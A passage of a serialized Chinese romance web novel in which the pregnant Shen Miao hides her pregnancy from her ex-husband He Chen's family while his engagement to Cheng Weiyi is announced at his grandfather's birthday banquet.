“以后多多指教。”张科研并未越过桌去握手,朝她真诚一笑。 贺忱抻了抻衣角,在沈渺手中接过合同,翻看了两眼。 “核对过了吗。” “已经核对好了,您直接签字就行。” 沈渺递过来一支碳素笔。 接过笔,贺忱捏在指尖把玩,不急不缓地核对合同。 会议室突然安静下来,静得落针可闻。 “沈秘书做项目风险预估了吗。” 贺忱嗓音低沉,富有磁性。 仿佛随口一问,却是蕴藏着无数的压力,朝沈渺席卷而来。 以往贺忱决定的项目,从项目风险评估到做合同,都是沈渺一手把控。 如果没有特别大的漏洞,沈渺做完项目评估,是不用再跟他说一遍的。 可听他这话的意思,是要看风险评估报告。 “我发给您。” 沈渺将风险评估的电子版,发到贺忱的邮箱。 贺忱打开笔记本,将发送过来的文件点开,逐字逐句地看。 电脑屏幕的光亮折射在他眼睛片上。 镜片下那双褐色的眸子,微微闪动着。 目光落在最后那句‘此项目极具潜力’上,贺忱摘掉了眼镜。 “既然沈秘书如此看好这个项目,那就签字吧。” 他将笔打开,在合同的最后一页,落下苍劲有力的几个大字。 沈渺云里雾里,什么叫她如此看好这个项目? “那真是沾沈秘书的光了!” 陈庆站起来,笑着走到贺忱跟前去握手,“项目具体的细节,让他们去聊,我有话想单独跟贺总说。” 沈渺将笔记本合起,装在公文包里起身往外走。 张科研紧跟其后,拎着公文包出去。 “沈渺。” 他的声音透过还未完全合上的办公室门传来。 沈渺停下脚步,回头看向张科研,“恭喜。” “我才是托你的福。”张科研有些惭愧,“真不知道该怎么感谢你,会不会给你带来麻烦?” 沈渺摇头,“不会。” 两人站在会议室门口聊天不像话。 陈庆跟贺忱不知什么时候才能聊天,沈渺不好把张科研一个人丢在这里。 她提议道,“去我办公室坐会儿?” “方便吗?”张科研礼貌地问。 沈渺转身走在前面引路,“没什么不方便的。” 几分钟后,沈渺办公室。 “抱歉,我这里只有白水,你凑合一下。” 她倒了一杯温水,递给张科研。 张科研忙从沙发上起来,双手接过水,“你不喝咖啡?我以为,坐在这种大楼里,接受高强度工作压力的人,都要咖啡来续命。” “以前喝,现在不怎么喝。”沈渺在他旁边坐下,“我喊了这个项目负责人过来,他应该等下就能到,你们可以聊聊项目后续发展的事情。” 她毕竟不参与项目,跟张科研可沟通的话题有限。 “那我趁这为数不多的时间,跟你聊件私事。” 张科研将水放下,组织了一下措辞说,“我母亲上个星期做了手术,后续还要化疗,情况虽然稳住了,但不容乐观。” 沈渺虽然不懂医,可她听说过不少类似的事情。 就是靠钱续命,多活一天是一天。 “还有什么我能帮忙的吗?” “有些冒昧。”张科研一脸一言难尽,“我是家里唯一的孩子,我妈最大的愿望就是看着我结婚生子,你是我身边,她知道的唯一一个女性。” 上次在医院照顾卷卷那几天,张母就一直暗中打量沈渺。 她特别喜欢沈渺,一直催张科研追求沈渺。 张科研先前解释过几次,并不是特别熟。 但后来张母手术,又提起此事,张科研无法再拿之前的说辞对答。 他说会认真跟沈渺接触看看。 “如果可以,我希望你能以,以交往为目的朋友身份,跟我去医院探望她,就当了结一下她的心愿。” 沈渺皱着眉,犹豫着。 就怕这只是一个开头,还会有后续。 “你放心,就见这一次,不会再有第二次。” 张科研羞愧不已,“当然,如果你觉得实在不方便,可以拒绝,我不怪你,毕竟我们认识也不算特别久。” “好。”沈渺思忖一番,答应了。 “谢谢。”张科研面露欣喜,随即又十分抱歉道,“我从来没想过,有一天会给相亲对象带来这么大的麻烦。” 沈渺笑了笑,“不算麻烦,举手之劳,但说好的就一次,你提前想好下次的措辞。” 张科研连连点头,“放心,就这一次。” 两人刚聊完,负责微克项目的人过来了,沈渺回到办公桌前忙碌,给他们交流的空间。 不知过了多久,贺忱与陈庆聊完了,准备离开。 沈渺送张科研下楼,在门口与陈庆汇合。 “改天你不忙,随时联系我。” 张科研在沈渺身边停顿了下,说完才走到陈庆身边。 贺忱目光一瞬不眨地看着他,又将他的话一字不落灌入耳中。 92.派人跟着她,我就不信找不出证据来 察觉到贺忱的目光,张科研恭敬点头。 “再见,贺总。” 贺忱面色不辨喜怒,喉结微微滚动了下,似是应过声了。 可他确实一点儿声音没发出,有种不愿意搭理张科研的既视感。 张科研不自讨无趣。 他想,或许是贺忱这样的大人物,都带着一股高高在上的倨傲。 不是他这样的普通人能接触到的。 待张科研跟陈庆都上了车。 沈渺转身回公司,急着给组里开会。 电梯门即将合上时,一双骨节分明的手倏地插过来。 电梯门又打开,贺忱阔步走进来。 沈渺想提醒他,这不是总裁专用电梯。 可他已经进来,并未摁下顶层按键。 电梯门缓缓合上,逼仄的空间,男人身上一股淡淡的松香弥漫开来。 独自面对他,沈渺的心还有些七上八下的。 她下意识往角落里站了站。 ‘叮’ 电梯在十七楼停下,沈渺走上前,擦着贺忱的身体,挤出电梯里。 “贺总,我先去忙了。” 她客气地说完,然后离开。 贺忱站在那儿,纹丝不动。 他的目光透过缓缓合上的电梯门,看着她迫不及待离开的背影。 沈渺总觉得心神不宁,开完会她几次都被突然涌上来的不好预感,打断工作进度。 傍晚,她离开公司时,已经七点半。 京北的初夏天黑得晚一些,她开车从地下车库上来,天还微微亮。 汽车驶入车流,城市的喧嚣透过半落的车窗传来。 乍然响起的手机铃声,让沈渺的心不由自主在一瞬间沉下去。 她用蓝牙接通电话。 “沈渺,出事了。” 何之洲声音严肃又正经。 “怎么了?”沈渺不解。 “你怀孕的事情,程家是怎么知道的!?” 何之洲的声音比她还要不理解,“程家人来医院调查你的病历了!” 沈渺心里‘咯噔’一声。 是程唯怡听到了她的话,还是其他环节出了错? 见她不说话,何之洲安抚道,“你先别急,我已经篡改了你的病历,暂时瞒住怀孕的事情了。” 确实只能用暂时瞒住来形容。 程家若还起疑心,继续调查,怀孕曝光是随时都有可能发生的事情。 沈渺心里乱糟糟的,但她脑袋还算清晰。 “谢谢你,能瞒就瞒,瞒不住就坦然面对。” “你倒是冷静,我都捏了一把冷汗。” 何之洲舒一口气,“我就怕你顶不住压力,跑到医院把这个孩子给做掉。” 到时候,他就没戏看了。 “不会的。” 沈渺一字一顿,“像你这样出生就含着金汤匙,被家里宠着长大的人,永远不会明白我的感受,就像这件事情,对你来说是一场好戏,对我来说却是人命关天。” 一场好戏,人命关天。 八个字,像千斤重的石头,狠狠砸在何之洲的心上。 一股羞愧涌上来。 何之洲悻悻一笑,说话都没了底气。 “那个,我也不是这个意思……” “没别的事情,先挂了,谢谢你,何总。” 沈渺挂了电话,摘掉蓝牙耳机,随手丢在副驾驶座位上。 “欸——” 何之洲还想说什么,可电话已经挂断。 “不是,我……” 他心里不是滋味,“这,怎么还生气了呢?我也不是那个意思,我这不也能帮忙吗?” 他抓耳挠腮,捉摸着找个时间,见沈渺一面,聊聊这件事情。 —— 程家。 沈渺在医院的病历复印件,放在茶几上。 “你确定你没听错吗。” 孙易琴问程唯怡,“我看她像怀孕的,但肚子还没起来,不能百分百确定。” 一个看错,一个听错,也不是没可能。 毕竟病历诊断可没有怀孕! 程唯怡一口笃定,“她一定怀了孕的,这病历……不对劲!” “病历有问题的可能性,比你听错的几率小很多。” 这几天程唯怡都没睡好,为这事儿着急上火。 孙易琴心疼不已,“唯怡啊,你怎么这么焦虑啊?是不是有事情瞒着我啊?” “我……”程唯怡急得说不出话。 半晌,她憋出来一句,“妈,沈渺一定是怀孕了,我派人跟着她,我就不信找不出证据来!” 说着,她掏出手机打出一通电话去,“你以后每天跟着沈渺,她的一举一动立刻向我汇报!” “是,程小姐!”电话那端的人痛快答应。 “好了,既然都安排下去了,你就别再担心了,来,听妈的话,吃点儿水果……” 孙易琴将果盘端过来,插了一小块儿苹果,递到程唯怡嘴边去。 程唯怡却满心都是沈渺怀孕的事情,她心不在焉的…… —— 接连两天,何之洲约沈渺见面,都被沈渺拒绝了。 她工作忙得底朝天,好不容易抽出来时间,又被贺懿拉到商场。 “我们时间不多了,定礼服选礼物,再不来就来不及了。” 贺懿挽着她胳膊,将她拉进一家高定礼服店。 “奶奶已经提前给你选好了礼服款式,你来试试合不合身。” 一进店门,贺懿就指着展示柜里一件勃垦地红的礼服说,“瞧,这个颜色可配你了!” 沈渺没想到,他们连礼服都已经订好了。 店员将礼服摘下来,交到她手上,引着她到更衣室试穿。 礼服是微扩版型,两根细细的肩带挂在沈渺肩膀上。 她精致的锁骨露出来,微凸的小腹被裙摆遮住。 一点儿看不出怀孕,还特别凸显她的身材。 “简直完美。” 贺懿看到她出来,眼睛一亮。 沈渺看着镜子里的自己,唇红齿白,勃垦地红衬的她肤色红润又光泽,状态极佳。 她翻看了一下标签,没等看清楚价格,贺懿就挡住了她的动作。 “奶奶说,你那天帮忙接待贵客,就当工作了,礼服让我哥报销。” 沈渺粗略瞥了一眼,七位数。 就算是有存款的情况下,她也掏不起。 “我哥钱多,你可劲儿花,什么都不用想。” 贺懿低声说完,转身喊店员把她那件也拿出来。 “该我试了,你在这里等着。” 沈渺点头,在镜子里看着贺懿进入试衣间,收回目光。 她的视线却猝不及防,与刚进店的程唯怡和孙易琴撞上。 母女两个一进来,就直勾勾盯着她,并且朝她走过来,显然是冲她来的! 93.该管唯怡叫嫂子 “欢迎光临……” 她们走向沈渺的步伐,被迎上去的服务员逼停。 孙易琴拉了程唯怡一把,“先别轻举妄动,别打草惊蛇。” 程唯怡强忍着想冲上去,撕下沈渺衣服的冲动。 她被孙易琴拉着朝另外一排礼服区走去。 纵然如此,沈渺也知道她们冲什么来的。 “怎么了?” 贺懿换好礼服从更衣室出来,见沈渺表情有些不对。 她扫视了一圈周围。 一眼看到在另外一个区选礼服的程唯怡和孙易琴。 “太巧了吧,怎么在这儿遇上了。” 嘴上说着‘巧’,但贺懿脸上没一点儿高兴。 出于礼貌,她拎着裙摆朝孙易琴走过去。 “程伯母,程小姐。” 看到跟沈渺一起逛街的人是贺懿。 孙易琴表情有些微妙,“呦,贺懿啊,你也太生疏了,以后都是一家人了,该管唯怡叫嫂子。” “婚不是还没结?我……” 万一以后结不成了,现在叫算怎么回事儿? 贺懿到嘴的话改成,“这,没给改口费,我可不喊。” 她半打趣的话,让孙易琴的脸色好看些。 “这孩子,还是这么调皮,不过伯母可得说你一句,以后少跟沈渺来往。” 贺懿知道她意思,沈渺毕竟是贺忱前妻。 “我不像程小姐讨人喜欢,有妈妈陪着逛街,我只能找别人了。” 她一语双关,暗指明黎艳快把程唯怡当成亲闺女,都超越了她在明黎艳心里的位置。 其次,她妈都不管她跟谁逛街—— 孙易琴听出玄外音,脸色沉了沉,“那你以后多跟唯怡学着点儿,才能讨人喜欢。” “学不了。”贺懿一口拒绝,复又说,“你们逛,我先去找沈渺啦!” 不再给孙易琴开口的机会,她转身就走了。 一旁始终未开口的程唯怡,目光一直落在沈渺身上。 沈渺身上那件礼服,很显腰身。 她虽然因为怀孕胖了一些,可前凸后翘的身材只是显得圆润,根本看不出肚子大不大。 贺懿选好礼服,拉着沈渺就走了。 程唯怡拉过孙易琴来,“妈,你说贺懿是不是知道沈渺怀孕?” “还真有可能。”孙易琴琢磨着。 若沈渺真怀孕了,瞒着所有人,她应该不敢跟贺懿一起来买衣服。 那孕肚穿起衣服藏得住,脱了可是藏不住的! “贺懿知道,贺家人知不知道?” 程唯怡的心快跳到嗓子眼,她想到了一种可能性,“会不会这个孩子就是贺忱哥的,贺家人都知道,想留下……” 不等她将话说完,孙易琴就打断了,“你在胡说什么?你伯母不可能允许这种事情发生!” “可是她……”程唯怡捋不出头绪,面色纠结犹豫。 “你冷静,她沈渺要真怀的是贺忱的孩子,不论贺家还是贺忱,都欠你!你这个贺少夫人的位置,更稳!” 沈渺真怀孕的话,程唯怡不高兴是肯定的。 但孙易琴看不出程唯怡不高兴,只看到程唯怡惊慌。 “唯怡,你到底怎么了?” 程唯怡咬着内唇,半晌什么也没说,“算了,我自己想办法!” 她转身离开。 孙易琴抬脚追上去,“唯怡,妈在呢,妈给你撑腰,不就是一个沈渺吗,不用放在心上……” —— 沈渺和贺懿选好礼服,又给贺老爷子挑选了礼物。 中午一起吃了饭,然后两人才分开。 遇到程家母女后,沈渺有些不在状态。 贺懿离开前跟她说,“你跟我哥都是过去的事情了,现在你们两个清清白白的,你有什么好心虚的?有爷爷、奶奶给你撑腰,咱啥也不怕啊。” “我不是心虚,只是不想破坏了贺家的气氛。” 沈渺解释道,“程唯怡迟早成为贺家人,我的存在会搅得你们处不好,所以我理应避着。” 贺懿似懂非懂,“可奶奶真的很希望,你来参加爷爷的寿宴,你可不能不来。” “我答应的事情,会去的。”沈渺想了想,与贺懿说,“但是以后再有类似的场合,我不会再参与,到时你帮我劝着点奶奶。” “啊?” 贺懿很是失落,“过些日子就是我生日了,我还想邀请你来呢。” 她耷拉着脑袋,一脸的不高兴。 “你办你的生日宴,回头我们单独吃饭,给你庆祝生日。” 沈渺实在难以将这份情谊拒之门外。 贺懿这才扯出笑容来,答应她以后不再拉着她入贺家的局。 贺老爷子寿宴当天。 寿宴定在京北酒店,整个酒店都被包下来了。 沈渺到的时候,宴会还未开始。 贺懿在门口等着她,直接引着她朝楼上的休息室去。 虽然是贺老爷子的寿宴,但两位老人大部分时间都在楼上休息。 楼下的宴会厅,主要由贺岭山、明黎艳操持。 此刻,休息室里只有贺家二老。 沈渺跟贺懿进来,让安静的休息室变得嘈杂起来。 “爷爷,祝您福如东海,寿比南山。” 沈渺将礼物放下,朝贺老爷子笑着说。 贺老爷子连连点头,笑得合不拢嘴,“渺渺,你知道你奶奶送我的礼物是什么吗?” “什么?”沈渺面露疑惑。 “就是让你出现在我的寿宴上。” 贺老爷子对沈渺的喜爱,不亚于贺老夫人。 只是他不善言辞,没有表达出来。 沈渺心底一暖,看着沙发上坐着的两位年迈白发的老人。 “我希望以后年年她送我的礼物,都是渺渺能来我的寿宴。” 贺老爷子说完,又添了一句,“还有我家小懿,哪个都不能少。” 这两年,贺老爷子与贺老夫人的生日,不举办寿宴的情况下,都是贺懿跟沈渺陪着二老过。 气氛温馨又欢快,两位老人都特别高兴。 贺懿坐到贺老爷子旁边,挽着贺老爷子胳膊说,“当然了,以后年年陪小老头过生日。” “那你嫁人不能嫁太远,嫁到外地去,离着太远回不来了!” 贺老夫人叮嘱道,“回头我就让你妈在京北给你找合适的对象。” 贺懿眼睛一瞪,“我哥的婚事还没搞定,怎么扯我这儿来了?” “你哥的事情,八九不离十了。” 提到贺忱,贺老夫人忍不住侧目看向沈渺,“他跟唯怡的婚期已经定了,等会儿就宣布。” 94.真正欺负沈渺的——是你哥! 沈渺眼眸轻颤,如凝脂般的脸颊稍稍退了些许红润。 显得有些苍白。 可她心里却是前所未有的轻松。 “婚期定在什么时候?” “四个月后,八九月份。” 贺懿只听明黎艳提了一嘴,根本没往心里记具体时间。 八月末九月初,刚好是沈渺的预产期。 沈渺唇角掀着淡淡的弧度,附和着贺老爷子与贺老夫人聊天。 没一会儿,有人上来与贺老爷子寒暄。 沈渺趁机离开休息室,想趁着无人察觉,就这么走了。 谁知,她刚下楼,就与从电梯里出来的贺忱,撞了个正着。 贺忱一身黑色高定西装裹身,挺拔的身姿健壮有型。 他手里拎着的粉色小包,应该是程唯怡的。 只是不知程唯怡去了哪儿。 “贺总。”沈渺颔首。 她的乍然出现,令贺忱有一瞬的晃神。 勃垦地红映衬得她肤色凝白,精致的五官不施粉黛。 细细的眉眼透出一丝丝风情,却又带着些许单纯,冲突的神态在她脸上,却并不突兀。 他凝视的眼眸渐渐深邃。 沈渺以为他不高兴,她出现在这儿。 她解释了句,“我送个礼物,现在就走。” “来都来了,陪爷爷吃顿饭吧。” 贺忱嗓音低沉富有磁性,“他们喜欢你,别扫兴。” 沈渺静默数秒,微摇头,“不了,我还有事。” 说着她转身朝外走。 路过贺忱身边时,手腕蓦地一紧。 男人修长有力的手扣住她手腕,拉停了她的脚步。 两人挨得极近,她侧目看向贺忱,黑白分明的瞳仁里,倒映着贺忱轮廓分明的面容。 她身上淡淡的馨香味弥漫开来,那味道曾几何时,在感官被扩大时,无数次地让贺忱上头。 贺忱眉头紧锁了几秒,喉结滚动着。 四目相对,皆是无言时。 “贺忱哥。” 程唯怡的声音由远及近,“贺忱哥?” 沈渺看向他身后,程唯怡的脚步声从拐角处传来。 “贺总,程小姐在找你。” 说完,她挣脱开贺忱的手,转身朝酒店外走去。 贺忱伸出去的手,僵固在空中,微微收拢。 程唯怡走过来时,刚好看到沈渺消失的背影。 那抹刺眼的勃垦地红,让她一眼认出,那是沈渺! “贺忱哥。” 她见贺忱看着那个方向不动,语气紧张,“你在看什么?” 贺忱敛回目光,面色在一瞬间恢复如常,“没事,走吧,带你上楼看爷爷奶奶。” 他进入电梯,摁下楼层。 程唯怡跟着他进来,一直打量他的神色。 她早该想到的,贺懿跟沈渺一起去选礼服,是为了来参加贺老爷子的寿宴。 贺忱刚刚跟沈渺见面了! “贺忱哥,你答应我的事情,会做到的吧?” 贺忱站的笔直,面向前方,“会。” 闻言,程唯怡松一口气,可一想到沈渺,她的心里还是惴惴不安…… 沈渺在酒店侧门出来的。 她拎着裙摆下台阶,没走两步就被人追出来拦住。 “沈渺,你怎么不回我信息啊?” 何之洲穿着粉色衬衫,白色西裤,头发梳理得一丝不苟。 妖孽般的脸上挂着讨好的笑容。 “何总。”沈渺将手抽出来,“你有事吗?” 何之洲悻悻笑着,“就,想跟你道个歉,我虽然是看戏,可我也帮你了,你看程唯怡那事儿,是不是我……” “谢谢。” 沈渺打断他,朝下面走了两层台阶,拉开与他的距离。 “如果何总觉得一句谢谢不足以抵消你对我的帮助,那你就别在帮我了。” 因为除了谢谢,她给不了何之洲任何的‘回报’。 何之洲听出她话中带话,更不好意思了。 “我知道我看戏是挺不地道的,可是咱就说,有戏我不看白不看呐……哎哎你别走!” 何之洲的话没说完,沈渺扭头就走。 “哎呦你慢点,你小心啊……” 见沈渺三步并作两步下台阶,何之洲的心都跟着颤。 沈渺没理会他的话,快速朝着停车场离开。 何之洲望着她离开的背影驻足,好一会儿咂咂嘴往回走。 他是真感觉挺对不住沈渺的。 心里琢磨着,以后在别的事情上尽力弥补吧…… “何之洲,你又怎么惹渺渺了!” 贺懿目睹这一幕,忍不住冲出来质问何之洲。 何之洲被吓的一哆嗦,“你……哪儿蹦出来的?” “我警告你,你以后要是再欺负渺渺,我跟你没完!” 贺懿不好插手他们的事情,但又忍不住为沈渺撑腰,“我们爷爷奶奶都很喜欢她的!你要是再欺负她,就是跟贺家为敌!” 何之洲嘴角抽搐,“不是,你这段时间一直调查我,就是因为觉得,我欺负沈渺了?” 贺懿表情一僵。 她调查何之洲的事情,暴露了? “我告诉你,真正欺负沈渺的——” 何之洲一步一上台阶,走到贺懿身边,硬生生将贺懿从酒店外,逼退到酒店里面。 “是你哥!” 贺懿身体抵了墙,完全动弹不了了,而何之洲还在逼近。 她猛地推了一把,转身就跑,“呸,呸渣男!” 何之洲:“……” —— 发现沈渺离开了,贺老夫人连声叹息。 贺老爷子开导她,“别为难孩子,就算我们能放得下,可她跟贺忱毕竟有过一段儿,她心里有道坎儿。” “这坎儿,怎么不在你孙子心里呢?” 贺老夫人一脸不高兴,“而且人家才没坎儿,人家就是识大体有分寸,怕坏了贺家的气氛。” “不论是什么理由,我们都尊重她吧,以后喊她吃个便饭,别再让她来这种场合了。” 贺老爷子劝说着。 贺老夫人没跟他说,沈渺怀孕的事情。 两位老人兴致都不高涨时,休息室的门被推开。 贺忱率先进来,“爷爷奶奶。” 程唯怡紧跟其后,她压下心底所有的不快,扯着笑脸,“爷爷奶奶,抱歉来晚了。” 她将一个礼盒放在贺老爷子面前,“爷爷,祝您福如东海,寿比南山!” 同样的祝贺词,贺老爷子下意识说,“渺渺有心了,人来就行,还带什么礼物?” ‘渺渺’两字一出口,程唯怡的动作顿时僵住。 95.去问贺忱,那孩子到底是不是他的! 贺老夫人轻咳两声,装作无事发生,打算将这茬越过去。 “这礼物,你爷爷一定喜欢,快打开来看看。” 贺老爷子察觉到说错话,配合贺老夫人,“来,我瞧瞧。” 他将礼物接过,拆开精致的包装盒。 程唯怡轻咬着嘴唇,看了眼身侧的男人。 “坐吧。”贺忱薄唇轻启,吐出两个字。 不知是真没听出贺老爷子喊错了人。 还是跟贺老夫人一样,在遮掩。 程唯怡心里翻江倒海的难受。 若说沈渺一直是她的眼中钉。 那如今,又成为了她的肉中刺! 刺在她心脏正中央,不去触碰也隐隐作痛。 “爷爷奶奶,渺渺——” 休息室刚静下来,贺懿推门进来,嘴里喊着沈渺的名字就进来了。 看到程唯怡在,她声音戛然而止。 一片死寂。 “你这孩子,整天咋咋呼呼地干什么。” 贺老夫人给贺懿使眼色,“快过来,给你爷爷把唯怡送的礼物打开。” 贺懿将喉咙里的话吞回腹中,‘哦’了一声,走到贺老爷子身边,帮忙拆礼物。 程唯怡送的寿礼是一套六位数的茶具。 蓝色底花印刻着金粉边,一看就价值不菲。 可贺老爷子最不缺的,就是用钱能买到的东西。 诸如此类,甚至比这还贵的差距,他家里有的是。 可他还是很给面子地说,“唯怡的眼光真不错。” “回家摆上。”贺老夫人笑呵呵地附和。 程唯怡心里发酸,脸上赔笑,“爷爷喜欢就好。” “小懿,把东西放好。”贺老爷子把礼盒交给贺懿。 贺懿重新包装回去,放在茶几上。 然后,休息室又陷入一片安静,静中蔓延出尴尬。 “我有事要下去,你在这里陪着爷爷奶奶。” 贺忱手机响了一声,是贺岭山催他下楼招待。 程唯怡拿着包跟他起来,“我跟你下去吧!” 她快走两步跟上贺忱,又停下来朝二老颔首,“爷爷奶奶,我先走了,等会儿再上来。” “去吧。”贺老夫人脸上挤着慈祥的笑容。 程唯怡跟着贺忱走了。 休息室的门关上,一片死寂后。 贺懿咧嘴嫌弃道,“你们两个夸人,能不能夸得走心点?” “怪我啊?”贺老夫人瞪贺老爷子,“你老眼昏花,分不清人了?” 虽然他们不喜欢程唯怡。 可程唯怡毕竟是贺忱的未婚妻,是他们的准孙媳妇。 “我还没适应,唯怡跟贺忱的关系。” 不知为什么,贺忱突然把沈渺带回家,说他们领证了时,贺老爷子一下就接受了沈渺。 而程唯怡几乎在贺家长大,贺老爷子却怎么也无法把她当成自家人。 “你俩半斤八两。”贺懿坐在两人中间,“谁也别说谁。” 她话音落地,二老齐齐看向她。 “谁整天渺渺长渺渺短的?一进门就喊渺渺的人,不是你吗?” 贺懿:“……” —— 一楼宴会厅。 贺忱带程唯怡下来后,被众人围上来脱不开身。 程唯怡跟他陪着笑脸应酬,苹果肌都快僵了,找了个借口离开。 明黎艳跟孙易琴正在招待一群贵太太。 瞧见她过来,明黎艳嘴角的笑容扩大。 “瞧瞧,我家贺忱这直男脾气,唯怡肯嫁给他都是好的,就这么把她一个人丢下了,幸好唯怡懂事。” “伯母。”程唯怡本打算找个地方休息。 被明黎艳这么一说,她只能在明黎艳旁边坐下。 “贺忱忙,你这当妈的不知道体恤一下?再说了,有你照顾唯怡就行了,我都不挑,你怎么还挑上了。” 孙易琴跟她一唱一和,互相夸对方的孩子。 贵太太们笑着附和,一通夸赞。 程唯怡附和几句,便不在说话,静静听着这群人对明黎艳和孙易琴的吹捧。 她时不时看向人群中的贺忱。 猝不及防与何之洲意味深长的目光对上时,她的心里‘咯噔’一声。 何之洲见她看过去,抬了抬酒杯,算是打招呼。 程唯怡拧着眉,移开目光,当做没看见。 “唯怡,你怎么了?” 孙易琴来之前,千叮咛万嘱咐,今天是贺老爷子寿宴。 程唯怡因为沈渺怀孕的事情再不高兴,也得笑脸迎人。 来的时候还好好的,上去见了一趟贺老爷子,再下来脸上写着‘有事’两字。 “没。”程唯怡摇头。 “唯怡,你上楼帮妈拿点东西。” 孙易琴给她使眼色,“在三楼休息室,妈的手机好像落那儿了。” “知道了。”程唯怡起身,与明黎艳说,“伯母,我先上楼了。” 明黎艳脸上挂着笑,“去吧,快回来。” 程唯怡离席,出宴会厅走到电梯前等着。 不待等到电梯,身后便传来脚步声。 何之洲端着酒盏出来了,直冲她身边。 电梯门开了,程唯怡毫不犹豫进去,迅速摁下关门键。 “你跑什么?”何之洲拦住电梯门,“心虚事做多了?” 程唯怡依旧摁着按键不松,一脸不耐烦,“你松开,我跟你没什么好说的!” 何之洲扯着幸灾乐祸的笑容,“今天不是宣布你跟贺忱婚期的日子吗?你这不高兴,是不想嫁了吗?” “我想不想嫁跟你没关系!” “确实跟我没关系,但我是为沈渺来警告你的,老老实实结你的婚,安分点!” 何之洲怕程唯怡疑心不消,继续调查沈渺。 “你到底跟沈渺什么关系,总替她出头?” 沈渺肚子里的孩子,难不成真是何之洲的? 那再好不过,程唯怡盯着何之洲看,试图找出一丝证据。 何之洲冷嘁一声,“你管我跟她什么关系?要是还想跟贺忱顺顺利利结婚,就少招惹沈渺。” 说完,他松开挡着电梯的手,转身大摇大摆离开。 电梯门自动合上,逼仄的空间被程唯怡的怨气填满。 没一会儿,孙易琴上楼来找程唯怡。 推开休息室的门,见程唯怡的脸色更差,眼眶还红了,立马走过去。 “妈不是跟你说了,今天是喜庆日子,不能拉着脸,什么事儿不能忍忍啊?” 程唯怡多日以来的情绪爆发。 她将刚刚在楼上发生的一切全盘托出。 “妈,你说……会不会沈渺怀的就是贺忱哥的孩子,贺家人都知道?就瞒着我们!” 孙易琴倒吸一口凉气,她拉着程唯怡站起来。 “都到这一步了,咱别猜了,我带你下楼去问问贺忱,那孩子到底是不是他的!” 96.深刻地体会到孩子的存在 母女两人离开休息室,直奔宴会厅。 此刻的宴会厅气氛高涨,贺老爷子跟贺老夫人下楼露面,切蛋糕接祝词。 贺岭山发表了一番感言后,将主场交给了明黎艳。 明黎艳穿着一身正红色礼服,满脸笑容。 “我们贺家今天算双喜临门,借着老爷子的寿宴我再宣布一个喜事,那就是贺忱跟唯怡的婚事,定于八月二十六号,希望到时各位莅临。” 全场顿时哗然,祝贺词一声接一声。 贺忱身边的人,纷纷与他碰杯。 “贺总,恭喜!” “恭喜啊!” 贺忱手里端着高脚杯,矜贵的面容浅挂着一层笑容。 只是那笑意,并未直达眼底。 “谢谢。” 看到这一幕,程唯怡在宴会厅门口,拉住了孙易琴。 “妈,不问了!” 孙易琴咽不下这口气,“不问算怎么回事?那两个老东西拎不清,把沈渺当个宝,根本就是不把你放在心上,还有孩子的事儿,必须弄清楚再结这个婚!” 她扯着程唯怡往厅内走。 程唯怡死乞白赖的把她拽回来,“妈!没有什么事情比我嫁给贺忱哥重要,这么多人,要是让贺家丢人,我们的婚事就完了!” 闻言,孙易琴冷静了些。 她看着在台上受众人吹捧的明黎艳,“也是,你伯母好面子,等会儿宴会结束,妈再去问。” 程唯怡点着头,她抬手整理着头发,“快帮我看看,我的妆容乱了没有?” “没有,我女儿最漂亮了。”孙易琴将她耳畔碎发挽到耳后。 程唯怡挺了挺腰板,步入厅内,朝贺忱走去,挽上贺忱的胳膊,一起接受祝福…… —— 沈渺看现场直播,镜头对准了贺忱与程唯怡。 他们的婚期,比沈渺的预产期早二十天。 她将手机放下,轻轻覆在微微隆起的肚子上。 前几天胎动了,她深刻地体会到孩子的存在。 无法用言语形容的暖意在心间扩开,夹杂着一股酸涩的复杂。 急促的铃声,打断室内的静谧。 沈渺回了神,接起电话。 “沈渺,卷卷的医药费该缴了!” 浅姨的语气不是很好,上次两人不欢而散。 沈渺不回她消息,不接她电话。 这次她借别人手机拨过来的电话。 “这么快就用完了?”沈渺诧异。 浅姨不解释,只是说,“你要不信自己来医院查账单,不缴也行,反正卷卷在世界上也没亲人了,死了一了百了,省得拖累你,让你没钱养你的孩子!” 她字字句句,像诛人心似的苛刻。 话语间,依稀夹杂着卷卷小声的啜泣。 “渺渺姐姐,救救我……” 沈渺的心脏钝痛,她直接将电话挂断。 她看了看时间,换了套衣服直奔医院。 半路上她收到张科研的消息,提醒她抽空探望张母的事情。 沈渺索性就约在下午。 一个小时后,医院。 她直接在缴费处,调了卷卷的账单。 一堆贵得离谱的药,每天都要用。 她看不懂那些药是做什么的,不过按照每日的账单流水,确实是没钱了。 她又缴费两万,然后去了卷卷主治医生的办公室,打算问问卷卷病情,以及后续治疗费用问题。 来得不巧,那个医生去查病房,一时半会儿回不来。 另外一个同科室的医生走过来说,“你有什么问题,可以跟我说。” 沈渺越过了病情问题,毕竟不是这个医生经手卷卷的病。 “我想知道,接下来每个月的医药费大概是多少?” “你们现在是诱导缓解治疗阶段,初期费用应该是五六万,后续巩固强化阶段每个月两万左右就够了。” 医生解答道。 沈渺眉头旋即一拧,“可我们这个月已经缴了二十万,都花完了。” “啊?”医生惊讶,“这……也有可能是你们的治疗方案,跟我的病人不同。” 说完,那医生拿过桌上的文件,“你等主治医生回来问他吧,我还有事先走了。” “谢谢。”沈渺在办公室里等,一等就是半个多小时。 张科研到医院了,她只能先离开医生办公室,去张母病房。 张科研在住院部电梯旁等着。 看到她买了果篮,张科研十分过意不去。 “让你破费了,我这儿已经准备好了。” 沈渺顺着他指的方向看去,病房门口放着一个果篮。 “毕竟是长辈,我买点东西是应该的。” 张科研拎着两个果篮进门。 知道沈渺来,张母收拾了一下。 几天不见,张母瘦了一圈,面色憔悴。 仅凭着人逢喜事精神爽的缘由,让她看起来精神头不错。 “阿姨。” 沈渺刚走过来,张父就将椅子拉到她旁边。 “叔叔,不用这么客气。” 张父笑了笑,到保持合适距离的地方站着。 “沈渺是吧?帮我找医生的事情,多亏你了。” 张母欣慰地看着张科研与沈渺,越看越顺眼。 “举手之劳,阿姨不用放在心上。” “听科研说,你在大公司上班,可厉害了?” 张母的话题一直围绕着沈渺。 从她工作状况,到家里情况,再到喜好。 知道她是孤儿,张母很心疼,一点儿也不嫌弃,还示意张科研以后要多帮衬沈渺一把。 “一个女孩子能闯荡到今天这个地步,太不容易了。” 张科研连连点头,“知道了,您已经说过好多次了。” 浅聊了一会儿,沈渺提出告辞。 张母让她下次有空再来。 张科研跟着沈渺一起离开,两人从住院部出来。 “虽然说了很多次,可我还是得再说一次,谢谢你。” 